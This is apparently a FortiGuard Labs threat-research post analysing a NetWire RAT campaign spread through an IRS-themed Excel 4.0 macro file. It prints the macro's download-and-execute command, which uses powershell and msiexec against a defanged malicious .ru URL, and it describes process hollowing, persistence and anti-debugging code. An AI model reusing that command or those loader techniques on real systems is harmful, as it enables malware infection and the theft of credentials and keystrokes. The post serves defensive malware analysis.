Threat Research

NetWire RAT Targeting Taxpayers is Spreading via Legacy Microsoft Excel 4.0 Macro

By Xiaopeng Zhang | April 14, 2020

FortiGuard Labs Threat Analysis 

Affected platforms:   Windows
Impacted parties:      All users who use Windows 
Impact:                      Remote control victims’ computer, information stealing, key logger
Severity level:            High

FortiGuard Labs has observed the NetWire RAT (Remote Access Trojan) spreading widely over the past years. By analyzing NetWire samples, threat researchers have documented that the NetWire RAT focuses on stealing credential information, logging keystrokes, and stealing hardware information – including hard drives, network cards, and similar components. Last year, FortiGuard Labs captured a NetWire RAT variant and I performed an analysis of it that is posted here.

NetWire is a commercial software application sold on the website https[:]//www.[]worldwiredlabs[.]com/, where it asks for $120.00 USD for its NetWire Basic version.

Figure 1. NetWire being sold on a website

A few days ago, FortiGuard Labs harvested a fresh Excel sample from the wild. I did a deep analysis on it and found that it was spreading a new NetWire RAT variant using an Excel 4.0 Macro. In this post, we will look at how this Excel 4.0 Macro executes in a Excel file, how the NetWire RAT is installed on the victim’s system, as well as what this NetWire RAT variant actually does once it is installed.

What is an Excel 4.0 Macro and Why is it Used?

This is the first time that I have seen the NetWire RAT being spread in an Excel file using an Excel 4.0 Macro. So a good place to start might be what is an Excel 4.0 Macro?  

Excel 4.0 was released in 1992, and was executed on Window 3.1. Excel 4.0 contained an early version of Macro, with code statements that used formula syntax that look like this: (“=SUM(A1,A2)”). This kind of Macro is known as an Excel 4.0 Macro. An Excel file with an Excel 4.0 Macro was saved in a file with an “.xlm” extension, which is why Excel 4.0 Macro is also called XLM Macro. 

Once Excel 5.0 was released in 1993, it started using VBA Macro (Microsoft Visual Basic for Applications) to replace the Excel 4.0 Macro. Nevertheless, for backwards-compatibility, all later versions of Microsoft Excel still support Excel 4.0 Macros (XLM). 

When you insert a new sheet in later MS Excel versions, you can still select an item called "MS Excel 4.0 Macro". This is the only type of sheet which can run Excel 4.0 Macro. Although Excel 4.0 Macro may not be as familiar to you as VBA Macro, it frequently used in spreading many kinds of malware.

What is the benefit of using Excel 4.0 Macro? 

Firstly, it can bypass most antivirus detection. Probably due to the technology is very old (28 years by now) and rarely being used in nowadays, most antivirus engines don’t detect it and treat Excel files with a malicious Excel 4.0 Macro as clean (NOTE: FortiGate antivirus is able to detect a malicious Excel 4.0 Macro.) Next, an Excel 4.0 Macro is cannot be debugged. That’s because Microsoft never provided a debug feature for it. This creates a significant challenge for security analysts examining complex Excel 4.0 Macro code. Because of these challenges, many cybercriminals believe that using a malicious Excel 4.0 Macro could increase the infection rate of their malware.

Analyzing the Captured Excel Sample

The captured Excel file is called, “1040 W2 IRS letter.xls”. Based on the name, this campaign is attempting to trick the victim into believing that the attached file contains an important IRS letter about US tax forms 1040 and W2. It is an OLE (Object Linking and Embedding) format Excel file, which was the main file format before MS Office XP (before year 2000). Since then, the OLE format has gradually been replaced by the OOXML (Office Open XML) format, which is built based on XML files. 

Figure 2.1 is the image seen when opening this file in Microsoft Excel. In the background, you can see some obfuscated IRS forms. It also asks the victim to click the “Enable Content” button to show the clear forms, which enables the malicious Excel 4.0 Macro to be executed.

Figure 2.1. The open excel file targeting Taxpayers in MS Excel

The Excel 4.0 Macro is in a sheet named “Macro1”. You cannot see that sheet in Figure 2.1 because it was set as “hidden” by the malware author. By analyzing the data fields in the “WorkBook” stream, I was able to remove the “hidden” flag. I was then able to figure out that the “Auto_Open” point of the malicious Excel 4.0 Macro, which means that when the victim clicks the button “Enable Content”, the Macro in that cell will be executed automatically. It is in sheet “Macro1” and the cell number is “$A$9591”.

In Figure 2.2 you can see that the sheet “Macro1” is visible and the content of cell number “$A$9591” is “=EXEC("powershell msiexe" & B7578 & " /q /i http[:]//binexeupload[.]ru/unmodifiedness[.]msi")”. I was very lucky that the Macro was not obfuscated and therefore very easy and clear to see. Trying to de-obfuscate hundreds of lines of obfuscated Excel 4.0 Macro is not a task I would be enthusiastic to tackle.

Figure 2.2. The content of “Macro1!$A$9591”

“=EXEC” is a built-in Macro function that can be called to execute a local program with parameters. The function value is 0x006E, as defined in the Excel specification in section Ftab (refer to the Microsoft official document [MS-XLS].pdf). 

“B7578” is for reading out a value from cell “$B$7578”, whose value is empty. Therefore, the Excel 4.0 Macro will execute the program “powershell.exe” with the parameter followed, which will download an MSI file from a web site and then execute it using the Windows program “msiexe.exe”.

The Downloaded MSI File

MSI file is an installation package file used by Windows to install software. It is in OLE format as well. The MSI file type is frequently chosen by attackers to spread malware as it, too, easily bypasses many antivirus services. (NOTE: FortiGate antivirus is able to detect this malicious MSI file.)

The downloaded MSI file is “unmodifiedness.msi”. By static analysis, I found it contains a binary stream with a PE structure (EXE file). Figure 3.1 shows the binary stream information.

Figure 3.1. MSI file structure with a binary stream

The binary stream is extracted into a temporary file (MSI1613.tmp, in this instance) and executed when it is processed in the “msiexe.exe” process. 

The extracted PE file (MSI1613.tmp) is a sort of malware loader or downloader written in MS Visual Basic 5.0-6.0 language. Let’s take a look what tasks it performs. 

When it starts, it transfers malicious codes into the sub-process “ieinstal.exe” and executes there.  It first spawns a suspended sub-process, “ieinstal.exe” (which is a common process of MS Internet Explorer located in “C:\Program Files\internet explorer\”) by calling API CreateProcessInternalW(), as you can see in Figure 3.2.

Figure 3.2. Spawning the sub-process “ieinstal.exe”

It then transfers the malicious code into a newly created memory space in “ieinstal.exe”. Finally, it modifies the “ieinstal.exe” entry point to the transferred malicious code by calling API ZwSetContextThread(), and then resumes running after calling the API ZwResumeThread().

Figure 3.3. The process tree of the running downloaded MSI file

Figure 3.3 is a screenshot of the process tree of the related processes since opening the Excel sample to start the “ieinstal.exe”.

As mentioned, “ieinstal.exe” is a component of Microsoft IE, which is a camouflage program. As a result, it is difficult for the victim to realize that malware is running in it. 

It first adds this malware into an auto-start group in the victim’s system registry to keep it running once Windows starts. Figure 3.4 shows the auto-start item added in the registry. The extracted PE file (i.e above MSI1613.tmp) is then copied and renamed to “%UserProfile%\Coauthor\JOHNNYCAKE.exe”. 

Figure 3.4. Malware added into an auto-start group in the system registry

Next, it will download an encrypted bin file from its download server, http[:]//stubbackup[.]ru/Host2_encrypted_3160FB0.bin.  Figure 3.5 below is a screenshot of the download packet in WireShark.

Figure 3.5. Packets of downloading encrypted bin file

It then decrypts the bin file to get another PE file, which is the payload of a new NetWire variant. It then puts the PE file into the memory starting at offset 0x400000 to replace the existing data of “ieinstal.exe”. Later, the payload is executed in a thread.  I will elaborate on how it works in another section below. 

Anti-Analysis Used in the Campaign

  1. All APIs are dynamically loaded when they need to be called. API names are saved as hash codes to hide their real names.
  2. Most of the time, when the malware calls a key API, it first determines if the API has been set with a breakpoint, including both a software and a hardware breakpoint. If yes, it causes an exception and exits. 
  3. It also encrypts the entire code during the calling of an API, and then decrypts the code when it comes back from the API and is about to be returned to the caller. As a result, it is hard for an analyst to analyze the call stack. Below is the pseudo code.

When it calls an API:

loc_7A355:             ; Before calling API

           xor  [eax], edx   ;;Repeat to encrypt entire code from 70000 to 7a210.

           add  eax, 4

           cmp  eax, ebx

           jnz  short loc_7A355

           mov  edi, [ebp+128h]

           mov  eax, edi

           add  eax, 5004h

           mov  [edi+5000h], eax

           mov  ecx, 0CCh

           jmp  loc_7A3FF


loc_7A84C:           ; Is about to call an API


           cmp  bx, 0B0Fh

           jz   rease_exception ; 

           call eax      ; Call key APIs like InternetOpenA(), InternetOpenUrlA(), etc.

           movd ecx, mm1

           movd edx, mm3

           jmp  loc_7A8E9


loc_7A8EA:           ;After calling an API  

           sub  edx, 4

           xor  [edx], ecx      ; Repeat to decrypt entire code from 70000 to 7a210

           jmp  loc_7A978



           cmp  edx, [ebp+44h]

           jnz  loc_7A8EA

           jmp  loc_7AA0B  ;; Return to the caller function

      4.  Other than that, it calls the API AddVectoredExceptionHandler() to add a vector exception handler function for the “ieinstal.exe” process,
           where it can detect debug events. Once it detects that “ieinstal.exe” is under debugging, it raises an exception and terminates “ieinstal.exe”
           to protect it from being analyzed.

Analyzing the NetWire Payload 

The NetWire payload starts from the entry point function Start() that is called by a thread function. 

To implement a keylogger, it starts another thread, whose thread function registers a windows class to record the topmost window title and keyboard inputs on it. The data is then encoded and saved in a log file from time to time. The log file is named with the current date, such as 06-04-2020, which is located in “%Appdata%\Logs”. Figure 5.1 is a code snippet about starting a keylogger thread and obtaining the full path of the log files.

Figure 5.1. Starting a thread for the keylogger

Going through the entire code, we can see that the structure is very simple and clear. Besides the code for the keylogger feature, the rest is for connecting to the C&C server, as well as the functions required to handle control commands.

In my previous blog, posted in 2019, the C&C server did not work well. However, not only is the command packet format the same, this time the server works. I will explain what control commands it performs in this blog.

Most constant strings are encoded, and they get decoded before using them to protect them from being statically analyzed. In addition, some key constant strings and the C&C server IP and Port were encrypted, and they get decrypted when it just starts. For this variant, the decrypted IP address and Port string is “”.

When the connection from the client to the C&C server is established, it uses a handshake process, in which the command 99 packet is sent to the server and the command 9B is returned to client. With these elements, both the client and the server generate their own cryptography key buffer for the decryption and encryption of the following packets.

NetWire then sends the 9B packet to the server with data of the current system time, the variant host-ID, the victim’s login user, the computer name, the topmost windows title. and so on. In the previous version, it included the victim’s IP address. 

The server keeps sending 97 command once every minute to the NetWire client asking to obtain the victim’s topmost program information, and it sends a 97 command packet back with the asked information.

Figure 5.2 is a Wireshark screenshot displaying the command packets of 99, 9B, and 97 – whose body part is encrypted. As you can see, the marked byte is the command value. The four bytes before it are the packet size, and the data behind it is the body.

Figure 5.2. Packets of the commands 99, 9B, and 97

It then asks NetWire to capture a screenshot of the victim’s screen into JPEG by sending command C9. NetWire then returns the C9 packet with the JPEG and completed with CB packet.

The NetWire C9 command sub-function calls APIs GetDesktopWindow(), CreateCompatibleBitmap(), BitBlt(), and others to capture the victim’s screen into a BMP format, and later converts it to JPEG. 

In Figure 5.3, it shows the partial of the JPEG screenshot in the bottom memory sub-window.

Figure 5.3, Captured screenshot in JPEG

In my analysis, the C&C server asks to collect the victim’s logical driver information to enumerate files by sending commands A4 and A6. 

It can send command group of CC, CE, CF, and D0 to ask NetWire to enumerate and transfer the keylogger data (the Log files) to the C&C server.

In this new variant, I noticed that it has improved its feature that collects credentials from the victim’s system in the sub-function of handling commands 0D3/0D4. It also fixed some bugs in the keylogger, which were wrongly recorded Esc as Ctrl in previous versions.


We have seen a growth in the volume of malware being spread by Excel files with Excel 4.0 Macro, especially recently. In this post, we explained in detail what the Excel 4.0 Macro is, its history, and why it became popular. Next, we talked about how the new NetWire variant is downloaded and executed in the victim’s system, what it does to perform keylogger functions, and how it handles the control commands from its C&C server.

As a result, we now know that NetWire is able to capture the victim’s screen and record keyboard inputs when they are, for example, filling out tax forms, checking their online bank account, writing private emails, and so on.


Fortinet customers are already protected from this NetWire variant with FortiGuard’s Web Filtering and Antivirus solutions, as follows:

The two downloading URLs have been rated as "Malicious Websites" by the FortiGuard Web Filtering service.

The Excel file and downloaded Bin file are detected as "MSOffice/NetWire .ABFA!tr" and "W32/NetWire .7B36!tr" and blocked by the FortiGuard Antivirus service. 




Sample SHA-256

[1040 W2 IRS letter.xls]




Learn more about FortiGuard Labs threat research and the FortiGuard Security Subscriptions and Services portfolioSign up for the weekly Threat Brief from FortiGuard Labs. 

Learn more about Fortinet’s free cybersecurity training initiative or about the Fortinet Network Security Expert programNetwork Security Academy program, and FortiVet program.